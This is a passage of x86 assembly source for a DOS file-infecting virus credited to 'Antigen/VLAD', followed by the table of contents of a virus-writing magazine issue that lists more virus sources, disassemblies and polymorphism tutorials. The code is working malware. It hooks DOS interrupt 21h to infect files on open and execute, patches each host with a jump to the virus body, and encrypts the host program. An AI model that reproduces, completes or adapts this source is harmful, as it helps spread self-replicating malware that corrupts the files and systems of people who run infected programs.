	call    chain
	push    ax
	xor     dx,dx
	mov     cx,(end_vir - const_start)
	mov     ah,40
	call    chain
	mov     ax,4200
	cwd
	mov     cx,dx
	call    chain
	mov     byte ptr cs:[(end_vir - const_start)],0e9
	pop     ax
	sub     ax,3
	mov     word ptr cs:[(end_vir - const_start) + 1],ax
	mov     dx,(end_vir - const_start)
	mov     ah,40
	mov     cx,3
	call    chain
	push    bx
	mov     ax,352a
	call    chain
	mov     al,0cf
	xchg    byte ptr es:[bx],al
	pop     bx
	xchg    ax,bp
	mov     ax,5701
	pop     dx cx
	call    chain
	mov     ah,3e
	call    chain
	mov     ax,352a
	call    chain
	xchg    ax,bp
	xchg    byte ptr es:[bx],al
not_infectable:
infected_prolly:
	pop     es ds di si dx cx bx ax
	ret

	db      '[Midnight] by Antigen/VLAD',0dh,0a
	db      'Hi Zvi!!  Thanks for inspiring the idea :)'

	db      'M' xor 'm'
	db      'i' xor 'u'
	db      'd' xor 'i'
	db      'n' xor 'n'
	db      'i' xor 'a'
	db      'g' xor 'r'
	db      'h' xor 'e'
	db      't' xor 'g'
	db      ' ' xor ' '
	db      's' xor 'd'
	db      'h' xor 'a'
	db      'a' xor 'e'
	db      'k' xor 'd'
	db      'e' xor ' '
	db      's' xor 'a'
	db      ' ' xor ' '
	db      't' xor 's'
	db      'h' xor 'e'
	db      'e' xor 'k'
	db      ' ' xor 'a'
	db      'm' xor 'h'
	db      'e' xor 's'
	db      'm' xor ' '
	db      'o' xor 'n'
	db      'r' xor 'a'
	db      'y' xor 'm'
	db      ' ' xor 'd'
	db      'A' xor 'a'
	db      's' xor 'm'
	db      ' ' xor ' '
	db      'a' xor 'a'
	db      ' ' xor ' '
	db      'm' xor 's'
	db      'a' xor 'A'
	db      'd' xor ' '
	db      'm' xor 'y'
	db      'a' xor 'r'
	db      'n' xor 'o'
	db      ' ' xor 'm'
	db      's' xor 'e'
	db      'h' xor 'm'
	db      'a' xor ' '
	db      'k' xor 'e'
	db      'e' xor 'h'
	db      's' xor 't'
	db      ' ' xor ' '
	db      'a' xor 's'
	db      ' ' xor 'e'
	db      'd' xor 'k'
	db      'e' xor 'a'
	db      'a' xor 'h'
	db      'd' xor 's'
	db      ' ' xor ' '
	db      'g' xor 't'
	db      'e' xor 'h'
	db      'r' xor 'g'
	db      'a' xor 'i'
	db      'n' xor 'n'
	db      'i' xor 'd'
	db      'u' xor 'i'
	db      'm' xor 'M'

encrypt_host:
	mov     ax,4200
	cwd
	mov     cx,dx
	mov     dl,4
	call    chain                   ; seek to beginning + 4
	mov     dx,(end_vir - const_start)
encrypt_lup:
	mov     cx,(not_execute - const_start)  ; cx = block length
	mov     ah,3f
	call    chain                   ; read in that many bytes
	or      ax,ax
	je      done_lup
	call    en_decrypt              ; encrypt the buffer
	push    dx ax
	xchg    ax,dx
	mov     ax,4201
	mov     cx,0ffff
	neg     dx                      ; seek backwards virus_len bytes
	call    chain
	mov     ah,40
	pop     cx dx
	call    chain                   ; write the encrypted portion
	mov     di,(end_vir - const_start)
	jmp     encrypt_lup             ; encrypt until we reach the file end
done_lup:
	ret

decrypt_host:
	mov     di,104                  ; encryption starts here
	mov     bp,si
next_section:
	mov     si,bp
	mov     cx,(not_execute - const_start)
	cld
decrypt_loop:
	lodsw
	xor     es:[di],ax
	scasw
	dec     cx
	cmp     di,bp
	jae     done_decrypt
	loop    decrypt_loop            ; simply do the same as the
	jmp     next_section            ; encryption without modding the file
done_decrypt:
	ret

en_decrypt:
	push    ax ds si cx cs cs
	pop     ds es
	xor     si,si
	mov     cx,(not_execute - const_start)
top:
	lodsw
	xor     es:[di],ax              ; use the virus itself as the key
	scasw
	dec     cx
	jcxz    bottom
	loop    top
bottom:
	pop     cx si ds ax
	ret
is_install:
	pop     cx
	mov     ax,0fedh
	iret
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
i21:
	cmp     ah,30
	jne     not_install
	cmp     cx,40
	jne     not_install
	push    cx si di es cs
	pop     es
	lea     si,[si+(cmp_shit - next)]
	mov     di,(cmp_shit - const_start)
	cld
	repe    cmpsb
	pop     es di si
	jcxz    is_install
	pop     cx
not_install:
	cmp     ah,3dh
	jne     not_open
	call    infect
	jmp     not_execute
not_open:
	not     ax
	cmp     ax,not 4b00
	pushf
	not     ax
	popf
	jne     not_execute
	call    infect
not_execute:
	db      0ea
old21ip dw      ?
old21cs dw      ?

first_bytes:
	db      0cdh,20,95

chain:
	pushf
	db      9a
o21i    dw      ?
o21c    dw      ?
	ret

end_vir:
;===========================================================================
; put this label anywhere you want
heap:
ideal
sim_flags       = offset heap
firstMCB        = sim_flags + 1
tunnel_ip       = firstMCB + 2
simulate_buffer = tunnel_ip + 4
temp_es         = simulate_buffer + 16
return_address  = temp_es + 2
temp_sp         = return_address + 2
tunnel_ip_ofs   = temp_sp + 2
int0_5_ip       = tunnel_ip_ofs + 2
int0_5_sip      = int0_5_ip + 2
int0_5_scs      = int0_5_sip + 2
_ip             = int0_5_scs + 2
_cs             = _ip + 2
_ds             = _cs + 2
stack_bottom    = _ds + 2
_ax             = stack_bottom
_bx             = _ax + 2
_cx             = _bx + 2
_dx             = _cx + 2
_si             = _dx + 2
_di             = _si + 2
_bp             = _di + 2
_es             = _bp + 2
flags           = _es + 2
stack_top       = flags + 2
_ss             = stack_top
_sp             = _ss + 2
test_exit       = _sp + 2
end     start

- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main